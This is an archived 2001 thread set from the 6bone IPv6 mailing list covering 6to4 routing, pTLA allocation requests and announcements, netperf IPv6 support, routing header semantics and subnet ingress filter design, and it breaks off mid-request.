From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of John
Comeau
Sent: Tuesday, June 12, 2001 9:42 AM
To: 6bone@ISI.EDU
Subject: 6to4 clarification needed

I've read all I could find on the web regarding 6to4, and am somewhat
confused. Since the IPV4 address of the target router is embedded in the
IPV6
address, shouldn't my IPV6 stack be smart enough to follow ipv4 routing for
all 6to4 traffic? So, my relay router would only need to be used for inbound
traffic and for non-6to4 IPV6 outbound traffic?

I was thinking of hacking the sit.c source to make it treat 6to4 traffic in
this manner. Or has someone already done this for linux? Is the freebsd stf
device what I'm looking for?

Of course I could, as some 6to4 descriptions say, route all my IPV6 traffic
to
the relay router, but isn't that somehow defeating the beauty of the 6to4
mechanism, being able to use all my available links to route the traffic?
Not
to mention, if another host on my network starts using 6to4, it doesn't make
much sense having to talk to him via the 6bone when he's reachable on my
LAN.
--
John Comeau - Chief Technology Officer
Dialtone Internet - Extremely Fast Web Systems
phone://954-581-0097x113  fax://954-581-7629
mailto://jcomeau@dialtoneinternet.net  http://www.dialtoneinternet.net


From 6bone-owner  Wed Jun 13 05:48:45 2001
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Message-ID: <968264FD6D32D4118EFC00805FC799B701190AA4@orange.co.il>
From: Amit Schnitzer <Amit.Schnitzer@orange.co.il>
To: 6bone@ISI.EDU
Subject: 6bone related Questions
Date: Wed, 13 Jun 2001 15:16:21 +0200
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Hi everyone,

I recently posted a question regarding the 6bone project, but got no
response.
I am posting the same question again because I am not sure it got to its
destination the last time.
Here goes...

I'm trying to figure out how to connect my organization to the 6bone
project.
My problem is that I am located in Israel and as far as I understand no
organization from Israel has yet filed a request to register as a  pTLA.
Does anybody know of such organization ? can you think of an alternative
pTLA that we can connect to  (who's the preferred from our point of view ?)?
In addition, I am trying to figure out all the implications that might rise
as a result of connecting to the 6bone project:
Financial implications - equipment, manpower, registration fees and etc.
Time implications - registration period, project participation period and
etc.
What should I do once I am connected to the 6bone ? Are there special daily
tasks or "to-do list" or should I sit back and relax until I'll get my pTLA
assignment ?

I'll be happy If you have any information regarding the above.
Thanks in advance


                   Amit Schnitzer 
          Network and Security team
Partner Communications Company Ltd.
                 Tel: 03-9055765
              Mobile: 054-815765


From 6bone-owner  Wed Jun 13 07:31:02 2001
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From: "Marc Herbrechter" <mh@kompetenz-center.de>
To: <6bone@ISI.EDU>
Subject: kernel: ndisc_send_redirect: not a neighbour
Date: Wed, 13 Jun 2001 16:30:51 +0200
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Moinsen,

I have a problem with my IPv6 over IPv4 tunnel. I use linux-2.2.19
with the openwall patch and when I start the tunnel, I get the following
messages again and again. After about 10 days my server crashes. I
think this has to do with the messages. Can anyone help me out with
this? I searched on Google but found nothing of interest.

--snip--
Jun 13 16:19:03 churchill kernel: ndisc_send_redirect: not a neighbour
Jun 13 16:19:33 churchill last message repeated 35 times
--snip--

Best regards, Marc Herbrechter


From 6bone-owner  Wed Jun 13 08:10:54 2001
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Date: Wed, 13 Jun 2001 08:08:49 -0700
To: Amit Schnitzer <Amit.Schnitzer@orange.co.il>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone related Questions
Cc: 6bone@ISI.EDU
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Amit,

At 03:16 PM 6/13/2001 +0200, Amit Schnitzer wrote:
>Hi everyone,
>
>I recently posted a question regarding the 6bone project, but got no
>response.
>I am posting the same question again because I am not sure it got to its
>destination the last time.
>Here goes...
>
>I'm trying to figure out how to connect my organization to the 6bone
>project.
>My problem is that I am located in Israel and as far as I understand no
>organization from Israel has yet filed a request to register as a  pTLA.

That's correct.


>Does anybody know of such organization ? can you think of an alternative
>pTLA that we can connect to  (who's the preferred from our point of view ?)?

As always when doing configured tunnels, you need to pick a few from the 
6bone pTLA list and try traceroutes to them to see if they are reasonable 
for you. Have you read this section on the 6bone hookup page?

<http://www.6bone.net/6bone_hookup.html>

Also, you can come up using 6to4. See 
<http://www.6bone.net/6bone_6to4.html>. Also, you can talk to Ron Broersma:

person:       Ron Broersma
address:      SPAWAR Systems Center, San Diego
phone:        +1 619 553 2293
e-mail:       ron@spawar.navy.mil
nic-hdl:      RLB1-6BONE
notify:       ron@spawar.navy.mil
changed:      ron@spawar.navy.mil 20010221
source:       6BONE

He used 6to4 to get DREN up and qualified for its pTLA this way.


>In addition, I am trying to figure out all the implications that might rise
>as a result of connecting to the 6bone project:
>Financial implications - equipment, manpower, registration fees and etc.

Very little is needed until it becomes production for you (presumably that 
will be a while from now). Some pTLAs spend more than others to be on the 
6bone, but I think it is proportional to their network size/scope and how 
production they want to make it.


>Time implications - registration period, project participation period and
>etc.

That's covered in the requesting a pTLA page:

<http://www.6bone.net/6bone_pTLA_rqst.html>



>What should I do once I am connected to the 6bone ? Are there special daily
>tasks or "to-do list" or should I sit back and relax until I'll get my pTLA
>assignment ?

Again, the pTLA request page, and read RFC2772:

<http://www.ietf.org/rfc/rfc2772.txt>


If you have more questions, please ask me.


Thanks,

Bob


From 6bone-owner  Wed Jun 13 08:18:23 2001
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On Wed, 13 Jun 2001, Amit Schnitzer wrote:

> Hi everyone,
>
> I recently posted a question regarding the 6bone project, but got no
> response.
> I am posting the same question again because I am not sure it got to its
> destination the last time.
> Here goes...
>
> I'm trying to figure out how to connect my organization to the 6bone
> project.
> My problem is that I am located in Israel and as far as I understand no
> organization from Israel has yet filed a request to register as a  pTLA.
> Does anybody know of such organization ? can you think of an alternative
> pTLA that we can connect to  (who's the preferred from our point of view ?)?
> In addition, I am trying to figure out all the implications that might rise
> as a result of connecting to the 6bone project:
> Financial implications - equipment, manpower, registration fees and etc.
> Time implications - registration period, project participation period and
> etc.
> What should I do once I am connected to the 6bone ? Are there special daily
> tasks or "to-do list" or should I sit back and relax until I'll get my pTLA
> assignment ?
>
> I'll be happy If you have any information regarding the above.
> Thanks in advance
>
>
>                    Amit Schnitzer
>           Network and Security team
> Partner Communications Company Ltd.
>                  Tel: 03-9055765
>               Mobile: 054-815765
>
>
A traceroute from the UK to ns1.orange.co.il goes through
ix-4-0.bb8.NewYork.Teleglobe.net immediately before the hop to Israel - so
I guess  searching for someone in New York for a tunnel might be a good
approach?

Pete.


From 6bone-owner  Thu Jun 14 16:36:53 2001
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Subject: Re: 6to4 clarification needed
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Tony Hain wrote:

[...]
> 
> Another part appears to be deciding when a host would act as its own
> 6to4-router vs. having the IPv4 router also provide that function. The
> simple answer is this is a local decision, but if the router is providing
> the service it should do so in both directions. It appears from your
> description that you have a fully routed public IPv4 network; so all hosts
> could (and in my opinion should) act as their own 6to4-router.


[...]

The difficulty with that is that if a host is its own 6to4 router, then 
its own IP address will be in its prefix. Which is fine if it's just a 
host on its own. But if you have a network full of hosts, then it is 
better to have a single machine act as a router and prefix supplier. 
Then all your hosts will network within a single IPv6 network rather 
than each one being in its own network and communicating with 6to4 to 
other machines on the same piece of cable.



From 6bone-owner  Thu Jun 14 18:10:06 2001
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Reply-To: <alh-ietf@tndh.net>
From: "Tony Hain" <alh-ietf@tndh.net>
To: "Nick Sayer" <nsayer@quack.kfu.com>, "ALH-IETF" <alh-ietf@tndh.net>
Cc: <jcomeau@dialtoneinternet.net>, <6bone@ISI.EDU>
Subject: RE: 6to4 clarification needed
Date: Thu, 14 Jun 2001 18:08:46 -0700
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Nick Sayer wrote:
> ... rather than each one being in its own network and
> communicating with 6to4 to other machines on the same piece
> of cable.

Yes this is correct, but you are trying to optimize protocol overhead in a
place it rarely matters, while I was suggesting that the operational
simplicity of having all hosts use their own IPv4 address would allow them
to traverse an arbitrary IPv4 network topology.

Tony



From 6bone-owner  Mon Jun 18 08:04:45 2001
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Date: Mon, 18 Jun 2001 08:04:17 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8240::/28 allocated to ITESM
Cc: Alfredo Lopez <alopez@tyr.mty.itesm.mx>, Bill Manning <bmanning@ISI.EDU>
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ITESM in Mexico has been allocated pTLA 3FFE:8240::/28 having finished its 
2-week review period.

<http://whois.6bone.net/cgi-bin/whois?ITESM>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


Thanks,

Bob


From 6bone-owner  Mon Jun 18 23:38:08 2001
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To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for NTT-SMC  - review closes 2 July 2001
Cc: Yoshiyuki Kinugawa <yosiyuki@mcnet.ad.jp>
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6bone Folk,

NTT-SMC has requested a pTLA allocation. The open review period for this 
request will close 2 July 2001. Please send your comments to me or the 
list. As has been noted by various comments to this list, your comments on 
these pTLA requests do matter, so please don't hesitate to voice your 
support or concerns.

<http://whois.6bone.net/cgi-bin/whois?NTT-SMC>

<http://www.nttsmc.com>


Thanks,

Bob

===
Dear Bob,

  This is Yoshiyuki KINUGAWA of NTT SMARTCONNECT Corp., (following
  organization of NTT-TE Kansai) which is one of the Internet Data
  Center in Japan.

  I am writing in connection to pTLA address allocation.
  Our request for pTLA is as below and we are looking forward to your
  reply.


================================
[request form of pTLA]
================================
7. Guidelines for 6Bone pTLA sites

     The following rules apply to qualify for a 6Bone pTLA allocation. It
     should be recognized that holders of 6Bone pTLA allocations are
     expected to provide production quality backbone network services for
     the 6Bone.

     1. The pTLA Applicant must have a minimum of three (3) months
        qualifying experience as a 6Bone end-site or pNLA transit.  During
        the entire qualifying period the Applicant must be operationally
        providing the following:

We have about two years experience as a 6Bone end-site.


        a. Fully maintained, up to date, 6Bone Registry entries for their
           ipv6-site inet6num, mntner, and person objects, including each
           tunnel that the Applicant has.

inet6num:     3FFE:1800:2020::/48
netname:      NTT-SMC
descr:        SLA delegation for the NTT-ECL
country:      JP
admin-c:      NO2-6BONE
admin-c:      NO7-6BONE
tech-c:       NO2-6BONE
tech-c:       NO7-6BONE
remarks:      This object is automatically converted from the RIPE181 registry
mnt-by:       NTT-SMC-MNT
changed:      nin@slab.ntt.co.jp 19990825
changed:      auto-dbm@whois.6bone.net 20010117
changed:      sasaki@nttv6.net 20010529
changed:      sasaki@nttv6.net 20010614
changed:      sasaki@nttv6.net 20010614
source:       6BONE

ipv6-site:    NTT-SMC
origin:       AS4697
descr:        SLA delegation for the NTT-ECL
country:      JP
prefix:       3FFE:1800:2020::/48
application:  ping pf-gw.v6.mcnet.ad.jp
application:  ping ns.v6.mcnet.ad.jp
application:  http www.v6.mcnet.ad.jp
contact:      NO7-6BONE
remarks:      NATIVE pf-gw.v6.mcnet.ad.jp -> cygnus.nttv6.net NTT-ECL BGP4+
remarks:      NATIVE pf-gw.v6.mcnet.ad.jp -> PF-gw.ipv6.nttwestlabs.net 
NTT-WEST BGP4+
remarks:      This object is automatically converted from the RIPE181 registry
notify:       ntt-registry@nttslb.slab.ntt.co.jp
mnt-by:       NTT-SMC-MNT
changed:      tkonishi@nttv6.net 19990827
changed:      auto-dbm@whois.6bone.net 20010117
changed:      sasaki@nttv6.net 20010529
changed:      sasaki@nttv6.net 20010614
changed:      sasaki@nttv6.net 20010614
changed:      sasaki@nttv6.net 20010614
source:       6BONE


        b. Fully maintained, and reliable, BGP4+ peering and connectivity
           between the Applicant's boundary router and the appropriate
           connection point into the 6Bone. This router must be IPv6
           pingable. This criteria is judged by members of the 6Bone
           Operations Group at the time of the Applicant's pTLA request.

Our network is connected to NTT-ECL and NTT-WEST with native link
using BGP4+. Our ipv6 router is configured as pf-gw.v6.mcnet.ad.jp
(3FFE:1803:0:1::7671:1), and it works only IPv6 protocle (not IPv4
pingable).


        c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
           entries for the Applicant's router(s) and at least one host
           system.

We maintain the nameserver forward (AAAA) and reverse (ip6.int)
entries on ns.v6.mcnet.ad.jp.

# host -t aaaa ns.v6.mcnet.ad.jp. ns.v6.mcnet.ad.jp.
Using domain server:
Name: ns.v6.mcnet.ad.jp.
Address: 3ffe:1800:2020::53#53
Aliases:

ns.v6.mcnet.ad.jp. has AAAA address 3ffe:1800:2020::53

# host -n 3ffe:1800:2020::53 ns.v6.mcnet.ad.jp.
Using domain server:
Name: ns.v6.mcnet.ad.jp.
Address: 3ffe:1800:2020::53#53
Aliases:

3.5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.2.0.0.8.1.e.f.f.3.ip6.int. 
domainname pointer ns.v6.mcnet.ad.jp.


# host -t aaaa pf-gw.v6.mcnet.ad.jp. ns.v6.mcnet.ad.jp.
Using domain server:
Name: ns.v6.mcnet.ad.jp.
Address: 3ffe:1800:2020::53#53
Aliases:

pf-gw.v6.mcnet.ad.jp. has AAAA address 3ffe:1800:2020::1

# host -n 3ffe:1800:2020::1 ns.v6.mcnet.ad.jp.
Using domain server:
Name: ns.v6.mcnet.ad.jp.
Address: 3ffe:1800:2020::53#53
Aliases:

1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.2.0.0.8.1.e.f.f.3.ip6.int. 
domainname pointer pf-gw.v6.mcnet.ad.jp.


        d. A fully maintained, and reliable, IPv6-accessible system
           providing, at a mimimum, one or more web pages, describing the
           Applicant's IPv6 services.  This server must be IPv6 pingable.

http://www.v6.mcnet.ad.jp/
You can access it on only IPv6.


     2. The pTLA Applicant MUST have the ability and intent to provide
        "production-quality" 6Bone backbone service. Applicants must
        provide a statement and information in support of this claim.
        This MUST include the following:

        a. A support staff of two persons minimum, three preferable, with
           person attributes registered for each in the ipv6-site object
           for the pTLA applicant.

contact:      YK123-AP
contact:      TU10-AP


        b. A common mailbox for support contact purposes that all support
           staff have acess to, pointed to with a notify attribute in the
           ipv6-site object for the pTLA Applicant.

notify:       v6@mcnet.ad.jp


     3. The pTLA Applicant MUST have a potential "user community" that
        would be served by its becoming a pTLA, e.g., the Applicant is a
        major provider of Internet service in a region, country, or focus
        of interest. Applicant must provide a statement and information in
        support this claim.

NTT SMARTCONNECT Corp. operates an Internet Data Center based on a
broadband Internet connection with major ISPs.  We would like to
provide IPv6 connectibity to our customers' servers by tunnel or
native.


     4. The pTLA Applicant MUST commit to abide by the current 6Bone
        operational rules and policies as they exist at time of its
        application, and agree to abide by future 6Bone backbone
        operational rules and policies as they evolve by consensus of the
        6Bone backbone and user community.

Yes, We commit and agree the 6bone rules and policies.



Sincerely,

  ---
NTT SmartConnect Corp.
  Operation &Technical Support
   Yoshiyuki Kinugawa (yosiyuki@mcnet.ad.jp)
-end


From 6bone-owner  Tue Jun 19 18:54:09 2001
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From: "Sean Lin" <sean.lin@alliedtelesyn.co.nz>
Organization: Allied Telesyn Research, Chch, NZ
To: 6bone@ISI.EDU
Date: Wed, 20 Jun 2001 13:52:35 +1200 (NZT)
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Subject: ipv6 network measurement
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This is probably the wrong discussion group to ask this question but 
anyway....Does anyone know if there is an ipv6 version for ttcp, netperf or
netpipe?

regards,
Sean

-------------------------------------------------------------
Sean Lin                 27 Nazareth Avenue
Software Engineer        PO Box 8011
Allied Telesyn Research  Christchurch
phone +64 3 339 3000     New Zealand
fax   +64 3 339 3002     email: sean.lin@alliedtelesyn.co.nz
                         web: http://www.alliedtelesyn.co.nz/
-------------------------------------------------------------


From 6bone-owner  Tue Jun 19 22:29:16 2001
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Date: Tue, 19 Jun 2001 22:28:42 -0700
From: Chuck Yerkes <chuck+6bone@snew.com>
To: 6bone@ISI.EDU
Subject: Re: ipv6 network measurement
Message-ID: <20010619222842.A30803@snew.com>
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Quoting Sean Lin (sean.lin@alliedtelesyn.co.nz):
> This is probably the wrong discussion group to ask this question but 
> anyway....Does anyone know if there is an ipv6 version for ttcp, netperf or
> netpipe?

It likely is, but ARE there better lists?
I'm envisioning OS focussed lists like:
  linux@lists.WHATEVER
  BSD@lists.WHATEVER
  solaris@
  aix@

Yeah, the vendors (groups, whatever) should have it, but
an umbrella group also makes the same sense.

and perhaps
misc@    For general discussion
coders@  For coding talk.


I'm not really delighted with (likely growing) "I'm running
Suse 7.1 and trying to configure foo..." perhaps only because
I DON'T run linux and it seems that their should be a better place.

From 6bone-owner  Tue Jun 19 23:44:58 2001
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Date: Wed, 20 Jun 2001 08:44:47 +0200
From: Jasper Jongmans <j.jongmans@aprogas.cx>
To: 6bone@ISI.EDU
Subject: Re: ipv6 network measurement
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On 2001/06/20 03:52:35 Sean Lin wrote:
> This is probably the wrong discussion group to ask this question but 
> anyway....Does anyone know if there is an ipv6 version for ttcp, netperf
> or netpipe?

Try <URI:ftp://ftp.kame.net/pub/kame/misc/>. There you can find IPv6 patches
for netperf.

-- 
Jasper Jongmans                            j.jongmans@aprogas.cx
Website                           http://130.89.222.57/~aprogas/
PGP key                     ftp://130.89.222.57/keys/pgp_dss.asc


From 6bone-owner  Wed Jun 20 00:36:14 2001
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Date: Wed, 20 Jun 2001 09:35:44 +0200
From: Andre Grueneberg <andre@grueneberg.de>
To: sean.lin@alliedtelesyn.co.nz, mtl23@student.canterbury.ac.nz
Cc: 6bone@ISI.EDU
Subject: Re: ipv6 network measurement
Message-ID: <20010620093544.A662@leela.home.grueneberg.de>
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Sean Lin wrote:
> This is probably the wrong discussion group to ask this question but 
> anyway....Does anyone know if there is an ipv6 version for ttcp, netperf or
> netpipe?

There's a patch for netperf on the KAME ftp server.

Andre
-- 
One fifth of the people are against everything all the time.

From 6bone-owner  Wed Jun 20 08:23:27 2001
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Date: Wed, 20 Jun 2001 08:23:18 -0700
From: Andreas Ott <andreas@corp.home.net>
To: Sean Lin <sean.lin@alliedtelesyn.co.nz>
Cc: 6bone@ISI.EDU
Subject: Re: ipv6 network measurement
Message-ID: <20010620082318.A21000@bear.eos.home.net>
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Hi,
On Wed, Jun 20, 2001 at 01:52:35PM +1200, Sean Lin wrote:
> This is probably the wrong discussion group to ask this question but 
> anyway....Does anyone know if there is an ipv6 version for ttcp, netperf or
> netpipe?

>From the file ..../src/netperf-2.1pl3/makefile :

# -DDO_IPV6   - Include tests which use a sockets interface to IPV6.
#               The control connection remains IPV4

My netperf source comes from http://www.netperf.org/ .  I have not yet 
tried using this 'feature'.
-andreas
-- 
Andreas Ott                                        andreas@excitehome.net
Network Architect  @Home Network               http://www.excitehome.net/
Excite@Home        450 Broadway Street  Redwood City, CA  94063-3132  USA
phone +1 (650) 556-5460   fax +1 (650) 569-5856   pager +1 (650) 524-8073

From 6bone-owner  Fri Jun 22 11:58:58 2001
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Date: Fri, 22 Jun 2001 19:56:53 +0100
From: "Tito Carlos S. Vieira" <tito@fe.up.pt>
Organization: Faculdade de Engenharia da Universidade do Porto
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Hello,

I'm studing the IPv6 protocol and after reading the "Internet Protocol
Verson 6 Specification" (RFC2460) i have some dificult to understand the
information of routing header (extension header).

In page 11 refer " ... The Routing header is used by an IPv6 source to
list one or more
   intermediate nodes to be "visited" on the way to a packet's
destination.  This function is very similar to IPv4's Loose Source and
Record Route option.... "

and in  page 14 refer "... A Routing header is not examined or processed
until it reaches the
   node identified in the Destination Address field of the IPv6 header.
..."

I understand routing header as a method to save part of, or entire path,
to destination of a packet and all  intermediate routers look the
information of vector of "addresses " (when extension header exist) in
routing header, and based on this information forward the packect to the
next address in the vector of addresses of routing header. I suppose
this need to examine and process routing header in all intermediate
nodes but in page 14 i can see that ideia are incorrect and routing
header is only examined in the Destination Address.Can anyone help me to
understand very well the goal of Routing Header?

Maybe this is one basic question but i'm begginer :)

Thank you before
Tito




From 6bone-owner  Sat Jun 23 03:18:50 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: "Tito Carlos S. Vieira" <tito@fe.up.pt>
cc: 6bone@ISI.EDU
Subject: Re: Routing Header question 
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    Date:        Fri, 22 Jun 2001 19:56:53 +0100
    From:        "Tito Carlos S. Vieira" <tito@fe.up.pt>
    Message-ID:  <3B3394F4.299D0E7D@fe.up.pt>

  | I understand routing header as a method to save part of, or entire path,
  | to destination of a packet and all  intermediate routers look the
  | information of vector of "addresses " (when extension header exist) in
  | routing header, and based on this information forward the packect to the
  | next address in the vector of addresses of routing header. I suppose
  | this need to examine and process routing header in all intermediate
  | nodes but in page 14 i can see that ideia are incorrect and routing
  | header is only examined in the Destination Address.Can anyone help me to
  | understand very well the goal of Routing Header?

It isn't "save the path" that is intended, though that's a side effect,
it is to cause the packet to take a particular path.

The idea is that if you want to send a packet from A to D, and at the
same time (for any reason appropriate) want the packet to be routed via
B and C, you construct a packet with source addr A, dest addr B, and then
include a routing header containing C and D.   When the packet arrives at
B (any routers between A and B just see a packet destined to B) B sees the
routing header, sees it is not exhausted, and exchanges its address from the
destination header with the current routing header slot and advances the
pointer - so now there's a packet from A to C, with the routing header
containing B and D (with the pointer at D).   B transmits that to C,
again intermediate routers just forward the packet to C.  WHen it arrives
there, the routing header is noticed again, it isn't exhausted, so C swaps
its address with that of the next slot (D) in the destination, and advances
the pointer.  Now there's a packet from A to D, with B and C in the routing
header, and the pointer indicating no more routes left.  C sends that packet
to D.   When it arrives there, D sees the routing header, but now it is
empty, so nothing left to do (other than save it for later reference if needed)
and the next header in the chain is interpreted (which may result in delivery
of the packet to TCP or something).   The saved routing header tells the
path used - mostly so a reply can be sent back the reverse path.

kre


From 6bone-owner  Mon Jun 25 13:10:00 2001
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Date: Mon, 25 Jun 2001 16:09:53 -0400
From: John Comeau <jcomeau@dialtoneinternet.net>
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Thanks for all the responses. The one that was most pertinent to me was from Pekka Savola, who informed me that I needed to upgrade to the 2.4 kernel to have a 'sit' device that knows about 6to4. See the complete story at http://ipv6.dialtoneinternet.net.

I would appreciate direct emails (not to the list) regarding my connectivity from other corners of the 6bone.

John Comeau wrote:
> 
> I've read all I could find on the web regarding 6to4, and am somewhat
> confused. Since the IPV4 address of the target router is embedded in the IPV6
> address, shouldn't my IPV6 stack be smart enough to follow ipv4 routing for
> all 6to4 traffic? So, my relay router would only need to be used for inbound
> traffic and for non-6to4 IPV6 outbound traffic?
> 
> I was thinking of hacking the sit.c source to make it treat 6to4 traffic in
> this manner. Or has someone already done this for linux? Is the freebsd stf
> device what I'm looking for?
> 
> Of course I could, as some 6to4 descriptions say, route all my IPV6 traffic to
> the relay router, but isn't that somehow defeating the beauty of the 6to4
> mechanism, being able to use all my available links to route the traffic? Not
> to mention, if another host on my network starts using 6to4, it doesn't make
> much sense having to talk to him via the 6bone when he's reachable on my LAN.
> --
> John Comeau - Chief Technology Officer
> Dialtone Internet - Extremely Fast Web Systems
> phone://954-581-0097x113  fax://954-581-7629
> mailto://jcomeau@dialtoneinternet.net  http://www.dialtoneinternet.net

-- 
John Comeau - Chief Technology Officer 
Dialtone Internet - Extremely Fast Web Systems 
phone://954-581-0097x113  fax://954-581-7629 
mailto://jcomeau@dialtoneinternet.net  http://www.dialtoneinternet.net

From 6bone-owner  Wed Jun 27 11:44:50 2001
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From: Phil Benchoff <benchoff@vt.edu>
Date: Wed, 27 Jun 2001 14:44:50 -0400
To: 6bone@ISI.EDU
Subject: Subnet ingress access lists
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We use ingress and egress filters on our IPv4 connections to upstream
providers.  We also use ingress filters on all of the campus subnets.
A typical IPv4 ingress access list for a subnet looks like this:

  Permit global IP4 prefix assigned to this subnet to any
  Permit host addresses of the other interfaces on multi-homed hosts to any
      (any interface may be the source of a packet, not just the one
       on this subnet)
  Permit unspecified address to broadcast port bootps
      (because we forward DHCP)
  Deny all others

This appears to be a bit more complicated with IPv6.  The following
is what I have come up with so far:

  Permit global unicast prefix assigned to this subnet to any
  Permit global unicast prefixes of multi-homed hosts other interfaces (/128s) to any.
  Permit site-local for this subnet to site-local
  Permit site-local for this subnet to site's global unicast
  Permit site-local for this subnet to site-local multicast (ff05::/16)
  Permit site-local interfaces on multi-homed hosts to site's global unicast
  Permit site-local interfaces on multi-homed hosts to site-local
  Permit link-local prefix to link-local unicast of router
  Permit link-local prefix to link-local multicast
  Permit unspecified to link-local multicast (ff02::/16)
        (required for duplicate address detection)
        (required so no other hosts use router's link-local address)
        (should really only need router interface solicited-node multicast)

I suspect a lot of this will be covered by an "ipv6 verify unicast
reverse-path" command with enhancements similar to the one for IPv4.  
12.2(2)T does not support the log keyword, so I haven't experimented
much to see what is really required in the access list.  Has anyone else
given it any thought?

Phil

From 6bone-owner  Wed Jun 27 12:31:42 2001
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From: horape@tinuviel.compendium.net.ar
To: 6bone@ISI.EDU
Subject: Routing policy question.
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¡Hola!

RFC 2772 says that you can only to your upstreams your fully aggregated
prefix, but it doesn't tells what to advertise to your downstreams.

(From 4. :)

   All 6bone pTLAs MUST NOT advertise prefixes longer than a given pTLA
   delegation (currently /24 or /28) to other 6bone pTLAs unless special
   peering arrangements are implemented.

("to other 6bone pTLAs" does imply that this is not a requeriment when
talking to a downstream?)

Thanks,
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Wed Jun 27 14:31:06 2001
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From: Antonio Querubin <tony@lava.net>
To: Phil Benchoff <benchoff@vt.edu>
cc: <6bone@ISI.EDU>
Subject: Re: Subnet ingress access lists
In-Reply-To: <20010627144450.A29142@groupw.cns.vt.edu>
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On Wed, 27 Jun 2001, Phil Benchoff wrote:

> A typical IPv4 ingress access list for a subnet looks like this:
>
>   Permit global IP4 prefix assigned to this subnet to any
>   Permit host addresses of the other interfaces on multi-homed hosts to any
>       (any interface may be the source of a packet, not just the one
>        on this subnet)
>   Permit unspecified address to broadcast port bootps
>       (because we forward DHCP)
>   Deny all others
>
> This appears to be a bit more complicated with IPv6.  The following
> is what I have come up with so far:
>
>   Permit global unicast prefix assigned to this subnet to any
>   Permit global unicast prefixes of multi-homed hosts other interfaces (/128s) to any.
>   Permit site-local for this subnet to site-local
>   Permit site-local for this subnet to site's global unicast
>   Permit site-local for this subnet to site-local multicast (ff05::/16)
>   Permit site-local interfaces on multi-homed hosts to site's global unicast
>   Permit site-local interfaces on multi-homed hosts to site-local
>   Permit link-local prefix to link-local unicast of router
>   Permit link-local prefix to link-local multicast
>   Permit unspecified to link-local multicast (ff02::/16)
>         (required for duplicate address detection)
>         (required so no other hosts use router's link-local address)
>         (should really only need router interface solicited-node multicast)

The last one should probably be to the site-local multicast/anycast or
specific server IP addresses if you want to be more discriminating.

> I suspect a lot of this will be covered by an "ipv6 verify unicast
> reverse-path" command with enhancements similar to the one for IPv4.
> 12.2(2)T does not support the log keyword, so I haven't experimented
> much to see what is really required in the access list.  Has anyone else
> given it any thought?

It's a good list though my head hurts thinking about it :)


From 6bone-owner  Wed Jun 27 16:07:32 2001
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From: "Sean Lin" <sean.lin@alliedtelesyn.co.nz>
Organization: Allied Telesyn Research, Chch, NZ
To: 6bone@ISI.EDU
Date: Thu, 28 Jun 2001 11:05:57 +1200 (NZT)
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Subject: ipv6 netperf
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Has anyone managed to get netperf 2.1pl3 running on ipv6 to work?

Sean

-------------------------------------------------------------
Sean Lin                 27 Nazareth Avenue
Software Engineer        PO Box 8011
Allied Telesyn Research  Christchurch
phone +64 3 339 3000     New Zealand
fax   +64 3 339 3002     email: sean.lin@alliedtelesyn.co.nz
                         web: http://www.alliedtelesyn.co.nz/
-------------------------------------------------------------


From 6bone-owner  Mon Jul  2 16:35:27 2001
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Date: Mon, 02 Jul 2001 16:33:52 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8250::/28 allocated to NTT-SMC
Cc: Bill Manning <bmanning@ISI.EDU>, Yoshiyuki Kinugawa <yosiyuki@mcnet.ad.jp>
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NTT-SMC in Japan has been allocated pTLA 3FFE:8250::/28 having finished its 
2-week review period.

<http://whois.6bone.net/cgi-bin/whois?NTT-SMC>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


Thanks,

Bob


From 6bone-owner  Wed Jul  4 05:18:13 2001
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"Deploying IPv6 Networks" international conference, Paris, November =
20-23rd.
A call for proposals is on-line at:
http://www.upperside.fr/ipv6/deployipv6intro.htm
=20

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
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<DIV><FONT size=3D2>"Deploying IPv6 Networks" international conference, =
Paris,=20
November 20-23rd.</FONT></DIV>
<DIV><FONT size=3D2>A call for proposals is on-line at:</FONT></DIV>
<DIV><FONT size=3D2><A=20
href=3D"http://www.upperside.fr/ipv6/deployipv6intro.htm">http://www.uppe=
rside.fr/ipv6/deployipv6intro.htm</A></FONT></DIV>
<DIV><FONT face=3DArial></FONT>&nbsp;</DIV></FONT></DIV></BODY></HTML>

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From 6bone-owner  Wed Jul  4 17:57:23 2001
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Date: Wed, 04 Jul 2001 17:53:48 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for COMPENDIUM-AR - review closes 18 July 2001
Cc: horape@tinuviel.compendium.net.ar
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6bone Folk,

COMPENDIUM-AR has requested a pTLA allocation. The open review period for 
this request will close 18 July 2001. Please send your comments to me or 
the list. As has been noted by various comments to this list, your comments 
on these pTLA requests do matter, so please don't hesitate to voice your 
support or concerns.

<http://whois.6bone.net/cgi-bin/whois?COMPENDIUM-AR >

<http://www.compendium.net.ar>


Thanks,

Bob

===
>Date: Wed, 4 Jul 2001 20:19:20 -0300
>From: horape@tinuviel.compendium.net.ar
>To: Bob Fink <fink@es.net>
>Subject: pTLA request
>
>¡Hola!
>
>This is a pTLA request for COMPENDIUM-AR. We're a R&D lab and do consulting
>on networking in Hispan America (including Spain)
>
>-----
>  From RFC 2772:
>
>    7. Guidelines for 6Bone pTLA sites
>
>       The following rules apply to qualify for a 6Bone pTLA allocation. It
>       should be recognized that holders of 6Bone pTLA allocations are
>       expected to provide production quality backbone network services for
>       the 6Bone.
>
